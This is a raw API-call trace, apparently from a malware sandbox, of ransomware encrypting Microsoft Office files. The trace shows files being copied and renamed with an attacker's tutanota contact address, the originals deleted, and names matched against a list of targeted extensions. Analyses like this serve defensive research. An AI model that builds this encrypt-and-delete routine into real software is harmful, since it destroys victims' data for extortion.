	[0263.193] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0263.193] SetEndOfFile (hFile=0x32c) returned 1
	[0263.193] CloseHandle (hObject=0x32c) returned 1
	[0263.193] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.193] SetEndOfFile (hFile=0x354) returned 1
	[0263.195] CloseHandle (hObject=0x354) returned 1
	[0263.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 1
	[0263.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.196] lstrlenW (lpString=".doc") returned 4
	[0263.196] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.196] lstrlenW (lpString=".docx") returned 5
	[0263.196] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.196] lstrlenW (lpString=".pdf") returned 4
	[0263.196] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.196] lstrlenW (lpString=".xls") returned 4
	[0263.196] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.196] lstrlenW (lpString=".xlsx") returned 5
	[0263.196] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.196] lstrlenW (lpString=".ppt") returned 4
	[0263.196] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.196] lstrlenW (lpString=".zip") returned 4
	[0263.196] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.196] lstrlenW (lpString=".rar") returned 4
	[0263.196] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.196] lstrlenW (lpString=".bz2") returned 4
	[0263.196] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.196] lstrlenW (lpString=".7z") returned 3
	[0263.197] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.197] lstrlenW (lpString=".dbf") returned 4
	[0263.197] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.197] lstrlenW (lpString=".1cd") returned 4
	[0263.197] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.197] lstrlenW (lpString=".jpg") returned 4
	[0263.197] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.197] lstrlenW (lpString=".doc") returned 4
	[0263.197] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.197] lstrlenW (lpString=".docx") returned 5
	[0263.197] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.197] lstrlenW (lpString=".pdf") returned 4
	[0263.197] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.197] lstrlenW (lpString=".xls") returned 4
	[0263.197] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.197] lstrlenW (lpString=".xlsx") returned 5
	[0263.197] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.197] lstrlenW (lpString=".ppt") returned 4
	[0263.197] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.197] lstrlenW (lpString=".zip") returned 4
	[0263.197] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.197] lstrlenW (lpString=".rar") returned 4
	[0263.197] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.197] lstrlenW (lpString=".bz2") returned 4
	[0263.197] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.197] lstrlenW (lpString=".7z") returned 3
	[0263.198] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.198] lstrlenW (lpString=".dbf") returned 4
	[0263.198] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.198] lstrlenW (lpString=".1cd") returned 4
	[0263.198] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK") returned 67
	[0263.198] lstrlenW (lpString=".jpg") returned 4
	[0263.198] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.198] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0263.198] lstrlenW (lpString="MSPUB.HXS") returned 9
	[0263.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.198] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=1886518) returned 1
	[0263.198] CloseHandle (hObject=0x354) returned 1
	[0263.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs")) returned 0x20
	[0263.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0263.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.199] lstrlenW (lpString=".doc") returned 4
	[0263.199] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.199] lstrlenW (lpString=".docx") returned 5
	[0263.199] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1
	[0263.199] lstrlenW (lpString=".pdf") returned 4
	[0263.199] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.199] lstrlenW (lpString=".xls") returned 4
	[0263.199] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.199] lstrlenW (lpString=".xlsx") returned 5
	[0263.199] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1
	[0263.199] lstrlenW (lpString=".ppt") returned 4
	[0263.199] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.199] lstrlenW (lpString=".zip") returned 4
	[0263.199] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.199] lstrlenW (lpString=".rar") returned 4
	[0263.199] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.199] lstrlenW (lpString=".bz2") returned 4
	[0263.199] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.199] lstrlenW (lpString=".7z") returned 3
	[0263.199] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.199] lstrlenW (lpString=".dbf") returned 4
	[0263.199] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.199] lstrlenW (lpString=".1cd") returned 4
	[0263.199] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.200] lstrlenW (lpString=".jpg") returned 4
	[0263.200] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.200] lstrlenW (lpString=".doc") returned 4
	[0263.200] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.200] lstrlenW (lpString=".docx") returned 5
	[0263.200] lstrcmpiW (lpString1=".docx", lpString2="B.HXS") returned -1
	[0263.200] lstrlenW (lpString=".pdf") returned 4
	[0263.200] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0263.200] lstrlenW (lpString=".xls") returned 4
	[0263.200] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0263.200] lstrlenW (lpString=".xlsx") returned 5
	[0263.200] lstrcmpiW (lpString1=".xlsx", lpString2="B.HXS") returned -1
	[0263.200] lstrlenW (lpString=".ppt") returned 4
	[0263.200] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0263.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.200] lstrlenW (lpString=".zip") returned 4
	[0263.200] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0263.200] lstrlenW (lpString=".rar") returned 4
	[0263.200] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0263.200] lstrlenW (lpString=".bz2") returned 4
	[0263.200] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0263.200] lstrlenW (lpString=".7z") returned 3
	[0263.200] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0263.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.200] lstrlenW (lpString=".dbf") returned 4
	[0263.200] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0263.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.200] lstrlenW (lpString=".1cd") returned 4
	[0263.200] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0263.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS") returned 57
	[0263.201] lstrlenW (lpString=".jpg") returned 4
	[0263.201] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0263.201] lstrcmpiW (lpString1=".OPG", lpString2=".Acuf2") returned 1
	[0263.201] lstrlenW (lpString="MSPUB.OPG") returned 9
	[0263.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.202] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=12024) returned 1
	[0263.202] CloseHandle (hObject=0x354) returned 1
	[0263.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 0x20
	[0263.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.202] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.202] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.202] GetLastError () returned 0x0
	[0263.202] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x2ef8, lpOverlapped=0x0) returned 1
	[0263.206] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x2f00, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x2f00, lpOverlapped=0x0) returned 1
	[0263.207] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.207] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0263.207] SetEndOfFile (hFile=0x32c) returned 1
	[0263.207] CloseHandle (hObject=0x32c) returned 1
	[0263.207] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.207] SetEndOfFile (hFile=0x354) returned 1
	[0263.209] CloseHandle (hObject=0x354) returned 1
	[0263.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg")) returned 1
	[0263.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.210] lstrlenW (lpString=".doc") returned 4
	[0263.210] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1
	[0263.210] lstrlenW (lpString=".docx") returned 5
	[0263.210] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1
	[0263.210] lstrlenW (lpString=".pdf") returned 4
	[0263.210] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1
	[0263.210] lstrlenW (lpString=".xls") returned 4
	[0263.210] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1
	[0263.210] lstrlenW (lpString=".xlsx") returned 5
	[0263.210] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1
	[0263.210] lstrlenW (lpString=".ppt") returned 4
	[0263.210] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1
	[0263.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.210] lstrlenW (lpString=".zip") returned 4
	[0263.210] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1
	[0263.210] lstrlenW (lpString=".rar") returned 4
	[0263.210] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1
	[0263.210] lstrlenW (lpString=".bz2") returned 4
	[0263.210] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1
	[0263.210] lstrlenW (lpString=".7z") returned 3
	[0263.210] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1
	[0263.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.210] lstrlenW (lpString=".dbf") returned 4
	[0263.210] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1
	[0263.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.210] lstrlenW (lpString=".1cd") returned 4
	[0263.210] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1
	[0263.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.210] lstrlenW (lpString=".jpg") returned 4
	[0263.210] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1
	[0263.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.211] lstrlenW (lpString=".doc") returned 4
	[0263.211] lstrcmpiW (lpString1=".doc", lpString2=".OPG") returned -1
	[0263.211] lstrlenW (lpString=".docx") returned 5
	[0263.211] lstrcmpiW (lpString1=".docx", lpString2="B.OPG") returned -1
	[0263.211] lstrlenW (lpString=".pdf") returned 4
	[0263.211] lstrcmpiW (lpString1=".pdf", lpString2=".OPG") returned 1
	[0263.211] lstrlenW (lpString=".xls") returned 4
	[0263.211] lstrcmpiW (lpString1=".xls", lpString2=".OPG") returned 1
	[0263.211] lstrlenW (lpString=".xlsx") returned 5
	[0263.211] lstrcmpiW (lpString1=".xlsx", lpString2="B.OPG") returned -1
	[0263.211] lstrlenW (lpString=".ppt") returned 4
	[0263.211] lstrcmpiW (lpString1=".ppt", lpString2=".OPG") returned 1
	[0263.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.211] lstrlenW (lpString=".zip") returned 4
	[0263.211] lstrcmpiW (lpString1=".zip", lpString2=".OPG") returned 1
	[0263.211] lstrlenW (lpString=".rar") returned 4
	[0263.211] lstrcmpiW (lpString1=".rar", lpString2=".OPG") returned 1
	[0263.211] lstrlenW (lpString=".bz2") returned 4
	[0263.211] lstrcmpiW (lpString1=".bz2", lpString2=".OPG") returned -1
	[0263.211] lstrlenW (lpString=".7z") returned 3
	[0263.211] lstrcmpiW (lpString1=".7z", lpString2="OPG") returned -1
	[0263.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.211] lstrlenW (lpString=".dbf") returned 4
	[0263.211] lstrcmpiW (lpString1=".dbf", lpString2=".OPG") returned -1
	[0263.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.211] lstrlenW (lpString=".1cd") returned 4
	[0263.211] lstrcmpiW (lpString1=".1cd", lpString2=".OPG") returned -1
	[0263.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG") returned 57
	[0263.211] lstrlenW (lpString=".jpg") returned 4
	[0263.211] lstrcmpiW (lpString1=".jpg", lpString2=".OPG") returned -1
	[0263.212] lstrcmpiW (lpString1=".HXC", lpString2=".Acuf2") returned 1
	[0263.212] lstrlenW (lpString="MSPUB_COL.HXC") returned 13
	[0263.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.212] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=621) returned 1
	[0263.212] CloseHandle (hObject=0x354) returned 1
	[0263.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 0x20
	[0263.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.212] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.212] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.213] GetLastError () returned 0x0
	[0263.213] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x26d, lpOverlapped=0x0) returned 1
	[0263.214] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x270, lpOverlapped=0x0) returned 1
	[0263.215] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.215] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0263.215] SetEndOfFile (hFile=0x32c) returned 1
	[0263.215] CloseHandle (hObject=0x32c) returned 1
	[0263.215] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.215] SetEndOfFile (hFile=0x354) returned 1
	[0263.217] CloseHandle (hObject=0x354) returned 1
	[0263.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxc")) returned 1
	[0263.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.217] lstrlenW (lpString=".doc") returned 4
	[0263.218] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.218] lstrlenW (lpString=".docx") returned 5
	[0263.218] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.218] lstrlenW (lpString=".pdf") returned 4
	[0263.218] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.218] lstrlenW (lpString=".xls") returned 4
	[0263.218] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.218] lstrlenW (lpString=".xlsx") returned 5
	[0263.218] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.218] lstrlenW (lpString=".ppt") returned 4
	[0263.218] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.218] lstrlenW (lpString=".zip") returned 4
	[0263.218] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.218] lstrlenW (lpString=".rar") returned 4
	[0263.218] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.218] lstrlenW (lpString=".bz2") returned 4
	[0263.218] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.218] lstrlenW (lpString=".7z") returned 3
	[0263.218] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.218] lstrlenW (lpString=".dbf") returned 4
	[0263.218] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.218] lstrlenW (lpString=".1cd") returned 4
	[0263.218] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.218] lstrlenW (lpString=".jpg") returned 4
	[0263.218] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
